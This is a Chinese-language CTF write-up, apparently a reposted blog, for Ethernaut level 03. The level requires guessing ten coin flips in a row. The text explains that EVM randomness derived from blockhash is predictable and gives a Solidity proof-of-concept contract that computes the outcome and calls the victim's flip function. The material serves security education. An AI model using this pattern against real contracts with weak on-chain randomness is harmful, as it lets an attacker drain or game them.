Ethernaut 03

题目要求:连续猜出10次抛硬币的结果

题意解析:

本题的关键点在于下面这条语句

显然,本题的考察点在于如何利用EVM中随机数生成的固有缺陷

我们需要明白一点,由于区块链网络中所有节点的共识机制,基于EVM自身构建的伪随机数在一定条件下都是可以预测的(此处不考虑预言机的问题)

那么本题的逻辑就非常清晰了:

如果blockvalue≥FACTOR,则side取true,此时我们的_guess同样应该取true

如果blockvalue < FACTOR,则side取false,此时我们的_guess同样应该取false

连续调用10次flip函数即可过关

下面是本题的POC合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/utils/math/SafeMath.sol';

contract POC {
    using SafeMath for uint256;
    address public victim;

    function setVictim(address victim_) public {
        victim = victim_;
    }

    function flip_attack() public {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        uint256 coinFlip = blockValue.div(FACTOR);

        bool guess = coinFlip == 1 ? true : false;

        (bool success,) = victim.call(abi.encodeWithSignature("flip(bool)",guess));
        require(success==true, "call CoinFlip:flip failed");

    }
}

猜你喜欢

转载自blog.csdn.net/siritobla/article/details/126036554
03